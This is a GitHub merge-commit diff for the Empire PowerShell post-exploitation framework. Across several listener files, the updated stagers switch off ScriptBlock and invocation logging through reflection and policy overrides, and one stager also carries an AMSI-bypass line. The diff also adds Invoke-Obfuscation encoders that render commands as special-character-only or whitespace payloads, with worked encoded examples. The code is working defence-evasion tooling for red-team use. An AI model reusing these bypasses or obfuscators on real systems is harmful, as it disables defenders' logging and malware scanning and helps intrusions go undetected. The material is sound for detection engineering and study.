Merge pull request #826 from cobbr/empire-dev

Obfuscation bug fixes/improvements, ScriptBlockLogging bypass update
readme-wiki
Chris Ross 2017-12-03 23:03:31 -05:00 committed by GitHub
commit c5ee1841ed
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
24 changed files with 939 additions and 101 deletions

View File

@ -838,7 +838,7 @@ class MainMenu(cmd.Cmd):
if obfuscate_all:
files = [file for file in helpers.get_module_source_files()]
else:
files = [self.installPath + 'data/module_source/' + module]
files = ['data/module_source/' + module]
for file in files:
file = self.installPath + file
if reobfuscate or not helpers.is_obfuscated(file):

View File

@ -807,7 +807,7 @@ def obfuscate(installPath, psScript, obfuscationCommand):
toObfuscateFile.write(psScript)
toObfuscateFile.close()
# Obfuscate using Invoke-Obfuscation w/ PowerShell
subprocess.call("powershell -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
subprocess.call("%s -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (get_powershell_name(), toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
obfuscatedFile = open(obfuscatedFilename , 'r')
# Obfuscation writes a newline character to the end of the file, ignoring that character
psScript = obfuscatedFile.read()[0:-1]
@ -845,11 +845,18 @@ def is_obfuscated(moduleSource):
return os.path.isfile(obfuscatedSource)
def is_powershell_installed():
return (get_powershell_name() != "")
def get_powershell_name():
try:
powershell_location = subprocess.check_output("which powershell", shell=True)
except subprocess.CalledProcessError as e:
return False
return True
try:
powershell_location = subprocess.check_output("which pwsh", shell=True)
except subprocess.CalledProcessError as e:
return ""
return "pwsh"
return "powershell"
def convert_obfuscation_command(obfuscate_command):
return "".join(obfuscate_command.split()).replace(",",",home,").replace("\\",",")

View File

@ -189,16 +189,23 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")

View File

@ -205,16 +205,23 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")

View File

@ -186,16 +186,23 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")

View File

@ -160,16 +160,23 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")

View File

@ -139,16 +139,23 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")

View File

@ -189,20 +189,26 @@ class Listener:
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
stager += "};"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')

View File

@ -252,6 +252,8 @@ http://www.danielbohannon.com
$MenuLevel_Encoding += , @($LineSpacing, '4' , "`tEncode entire command as <Binary>" , @('Out-EncodedBinaryCommand' , '', ''))
$MenuLevel_Encoding += , @($LineSpacing, '5' , "`tEncrypt entire command as <SecureString> (AES)" , @('Out-SecureStringCommand' , '', ''))
$MenuLevel_Encoding += , @($LineSpacing, '6' , "`tEncode entire command as <BXOR>" , @('Out-EncodedBXORCommand' , '', ''))
$MenuLevel_Encoding += , @($LineSpacing, '7' , "`tEncode entire command as <Special Characters>" , @('Out-EncodedSpecialCharOnlyCommand' , '', ''))
$MenuLevel_Encoding += , @($LineSpacing, '8' , "`tEncode entire command as <Whitespace>" , @('Out-EncodedWhitespaceCommand' , '', ''))
# Main\Launcher Menu.
$MenuLevel_Launcher = @()
@ -1188,6 +1190,14 @@ http://www.danielbohannon.com
$Script:ObfuscatedCommand = Out-EncodedBXORCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
$CmdToPrint = @("Out-EncodedBXORCommand -ScriptBlock "," -PassThru")
}
'Out-EncodedSpecialCharOnlyCommand' {
$Script:ObfuscatedCommand = Out-EncodedSpecialCharOnlyCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
$CmdToPrint = @("Out-EncodedSpecialCharOnlyCommand -ScriptBlock "," -PassThru")
}
'Out-EncodedWhitespaceCommand' {
$Script:ObfuscatedCommand = Out-EncodedWhitespaceCommand -ScriptBlock $ObfCommandScriptBlock -PassThru
$CmdToPrint = @("Out-EncodedWhitespaceCommand -ScriptBlock "," -PassThru")
}
'Out-PowerShellLauncher' {
# Extract numbers from string so we can output proper flag syntax in ExecutionCommands history.
$SwitchesAsStringArray = [char[]]$Token | Sort-Object -Unique | Where-Object {$_ -ne ' '}
@ -1410,7 +1420,7 @@ http://www.danielbohannon.com
Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan
Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow
Write-Host ".`nA Launcher has been applied so this script cannot be run as a standalone .ps1 file." -ForegroundColor Cyan
C:\Windows\Notepad.exe $OutputFilePath
If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath }
}
ElseIf(!$Script:LauncherApplied -AND (Test-Path $OutputFilePath))
{
@ -1418,7 +1428,7 @@ C:\Windows\Notepad.exe $OutputFilePath
Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan
Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow
Write-Host "." -ForegroundColor Cyan
C:\Windows\Notepad.exe $OutputFilePath
If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath }
}
Else
{
@ -2091,7 +2101,7 @@ http://www.danielbohannon.com
Write-Host "`tTwitter :: @danielhbohannon" -ForegroundColor Magenta
Write-Host "`tBlog :: http://danielbohannon.com" -ForegroundColor Magenta
Write-Host "`tGithub :: https://github.com/danielbohannon/Invoke-Obfuscation" -ForegroundColor Magenta
Write-Host "`tVersion :: 1.7" -ForegroundColor Magenta
Write-Host "`tVersion :: 1.8" -ForegroundColor Magenta
Write-Host "`tLicense :: Apache License, Version 2.0" -ForegroundColor Magenta
Write-Host "`tNotes :: If(!`$Caffeinated) {Exit}" -ForegroundColor Magenta
}

View File

@ -51,7 +51,7 @@ PowerShellVersion = '2.0'
PowerShellHostVersion = '2.0'
# Script files (.ps1) that are run in the caller's environment prior to importing this module
ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
ScriptsToProcess = @('Out-ObfuscatedTokenCommand.ps1','Out-ObfuscatedStringCommand.ps1','Out-EncodedAsciiCommand.ps1','Out-EncodedHexCommand.ps1','Out-EncodedOctalCommand.ps1','Out-EncodedBinaryCommand.ps1','Out-SecureStringCommand.ps1','Out-EncodedBXORCommand.ps1','Out-EncodedSpecialCharOnlyCommand.ps1','Out-EncodedWhitespaceCommand.ps1','Out-PowerShellLauncher.ps1','Invoke-Obfuscation.ps1')
# Functions to export from this module
FunctionsToExport = '*'

View File

@ -356,7 +356,6 @@ http://www.danielbohannon.com
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else

View File

@ -375,7 +375,6 @@ http://www.danielbohannon.com
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else

View File

@ -365,7 +365,6 @@ http://www.danielbohannon.com
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else

View File

@ -365,7 +365,6 @@ http://www.danielbohannon.com
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else

View File

@ -360,7 +360,6 @@ http://www.danielbohannon.com
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
# A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else

View File

@ -0,0 +1,394 @@
# This file is part of Invoke-Obfuscation.
#
# Copyright 2017 Daniel Bohannon <@danielhbohannon>
# while at Mandiant <http://www.mandiant.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
Function Out-EncodedSpecialCharOnlyCommand
{
<#
.SYNOPSIS
Generates Special-Character-Only encoded payload for a PowerShell command or script. Optionally it adds command line output to final command.
All credit for this encoding technique goes to (@mutaguchi) who blogged about it in 2010: http://perl-users.jp/articles/advent-calendar/2010/sym/11
Invoke-Obfuscation Function: Out-EncodedSpecialCharOnlyCommand
Author: Daniel Bohannon (@danielhbohannon)
License: Apache License, Version 2.0
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-EncodedSpecialCharOnlyCommand encodes an input PowerShell scriptblock or path as a Special-Character-Only payload. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER Path
Specifies the path to your payload.
.PARAMETER NoExit
Outputs the option to not exit after running startup commands.
.PARAMETER NoProfile
Outputs the option to not load the Windows PowerShell profile.
.PARAMETER NonInteractive
Outputs the option to not present an interactive prompt to the user.
.PARAMETER NoLogo
Outputs the option to not present the logo to the user.
.PARAMETER Wow64
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
.PARAMETER Command
Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt.
.PARAMETER WindowStyle
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
.PARAMETER ExecutionPolicy
Outputs the option to set the default execution policy for the current session.
.PARAMETER PassThru
(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output.
.EXAMPLE
C:\PS> Out-EncodedSpecialCharOnlyCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive
powershell -NoProf -NonIn "${ }= + $() ; ${ }=${ };${ } = ++ ${ }; ${ }=++${ } ;${ }=++${ };${ } =++ ${ } ; ${ } = ++${ };${ } =++ ${ } ; ${ }= ++${ } ;${ } = ++ ${ } ; ${ }=++ ${ } ;${ }=\"[\"+ \"$( @{ } ) \"[ ${ }]+\"$(@{ })\"[\"${ }${ }\"]+ \"$( @{ } ) \"[\"${ }${ }\"]+ \"$?\"[${ } ] + \"]\" ;${ } = \"\".(\"$( @{ } ) \"[\"${ }${ }\" ] + \"$( @{ } ) \"[ \"${ }${ }\"]+ \"$( @{ } ) \"[${ }] +\"$( @{ } ) \"[${ } ]+ \"$?\"[${ } ] +\"$( @{ } ) \"[${ }] ) ; ${ }= \"$( @{ } ) \"[ \"${ }${ }\"]+ \"$( @{ } ) \"[ ${ }] +\"${ }\"[ \"${ }${ }\"] ; & ${ }( \" ${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ } +${ }${ }${ }+${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ } + ${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+${ }${ }${ }${ }^|${ } \" )"
C:\PS> Out-EncodedSpecialCharOnlyCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru
${%``*} = +$() ; ${(\$}=${%``*} ; ${ *}=++ ${%``*};${$)(} = ++${%``*};${ } =++${%``*};${,+]}= ++ ${%``*} ; ${,} =++ ${%``*}; ${!``@} =++${%``*} ;${.} = ++ ${%``*}; ${]\}=++ ${%``*} ;${+}=++${%``*} ;${,-\}="["+"$(@{})"[${.}]+ "$(@{})"["${ *}${+}" ]+"$(@{})"["${$)(}${(\$}" ] +"$?"[ ${ *}]+ "]";${%``*} = "".("$(@{})"[ "${ *}${,+]}" ] +"$(@{})"["${ *}${!``@}" ]+ "$(@{})"[${(\$} ] + "$(@{})"[ ${,+]}]+ "$?"[ ${ *}]+"$(@{})"[${ } ] ) ; ${%``*} = "$(@{})"["${ *}${,+]}"]+ "$(@{})"[${,+]}]+ "${%``*}"["${$)(}${.}"] ;" ${%``*} (${,-\}${]\}${.}+${,-\}${ *}${ *}${,+]} + ${,-\}${ *}${(\$}${,}+ ${,-\}${ *}${ *}${!``@}+${,-\}${ *}${(\$}${ *} + ${,-\}${,+]}${,}+ ${,-\}${.}${$)(} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${,}+${,-\}${ *}${ *}${!``@}+ ${,-\}${ }${$)(}+${,-\}${ }${+} +${,-\}${.}${$)(}+${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${(\$}${]\} +${,-\}${ *}${ *}${ *}+${,-\}${ }${$)(}+ ${,-\}${]\}${.}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]} +${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${(\$}${(\$}+ ${,-\}${ }${ } +${,-\}${ }${+} + ${,-\}${ }${$)(}+ ${,-\}${,+]}${,} +${,-\}${.}${(\$} + ${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${ *}+${,-\}${ *}${(\$}${ }+${,-\}${ *}${ *}${,+]}+${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${.}+${,-\}${ *}${ *}${(\$}+ ${,-\}${ *}${(\$}${(\$} +${,-\}${!``@}${.} +${,-\}${ *}${ *}${ *} + ${,-\}${ *}${(\$}${]\} +${,-\}${ *}${ *}${ *}+ ${,-\}${ *}${ *}${,+]}+${,-\}${ }${$)(} +${,-\}${.}${ *} + ${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${ *} + ${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${ *}${(\$} + ${,-\}${,}${+}+ ${,-\}${ }${$)(} +${,-\}${]\}${.} + ${,-\}${ *}${ *}${,+]}+ ${,-\}${ *}${(\$}${,}+ ${,-\}${ *}${ *}${!``@} +${,-\}${ *}${(\$}${ *}+${,-\}${,+]}${,}+${,-\}${.}${$)(}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,}+ ${,-\}${ *}${ *}${!``@} + ${,-\}${ }${$)(} +${,-\}${ }${+}+ ${,-\}${.}${+}+ ${,-\}${+}${]\} +${,-\}${ *}${(\$}${$)(} +${,-\}${ *}${ *}${.} + ${,-\}${ *}${ *}${,} +${,-\}${+}${+}+${,-\}${+}${.} +${,-\}${ *}${ *}${!``@}+ ${,-\}${ *}${(\$}${,} +${,-\}${ *}${ *}${ *}+ ${,-\}${ *}${ *}${(\$}+${,-\}${ }${$)(}+ ${,-\}${]\}${$)(} +${,-\}${ *}${ *}${ *} +${,-\}${+}${+}+${,-\}${ *}${(\$}${.} +${,-\}${ *}${ *}${,}+ ${,-\}${ }${ } +${,-\}${ }${+}+ ${,-\}${ }${$)(} + ${,-\}${,+]}${,} + ${,-\}${.}${(\$}+${,-\}${ *}${ *}${ *}+${,-\}${ *}${ *}${,+]}+${,-\}${ *}${(\$}${ *} +${,-\}${ *}${(\$}${ }+${,-\}${ *}${ *}${,+]} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${.} + ${,-\}${ *}${ *}${(\$}+${,-\}${ *}${(\$}${(\$}+${,-\}${!``@}${.}+ ${,-\}${ *}${ *}${ *}+${,-\}${ *}${(\$}${]\} + ${,-\}${ *}${ *}${ *} +${,-\}${ *}${ *}${,+]} +${,-\}${ }${$)(}+ ${,-\}${.}${ *} + ${,-\}${ *}${ *}${,+]}+${,-\}${ *}${(\$}${ *} +${,-\}${ *}${(\$}${ *}+ ${,-\}${ *}${ *}${(\$} )"| .${%``*}
.NOTES
All credit for this encoding technique goes to (@mutaguchi) who blogged about it in 2010: http://perl-users.jp/articles/advent-calendar/2010/sym/11
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
.LINK
http://www.danielbohannon.com
#>
[CmdletBinding(DefaultParameterSetName = 'FilePath')] Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter(Position = 0, ParameterSetName = 'FilePath')]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Switch]
$NoExit,
[Switch]
$NoProfile,
[Switch]
$NonInteractive,
[Switch]
$NoLogo,
[Switch]
$Wow64,
[Switch]
$Command,
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
[String]
$WindowStyle,
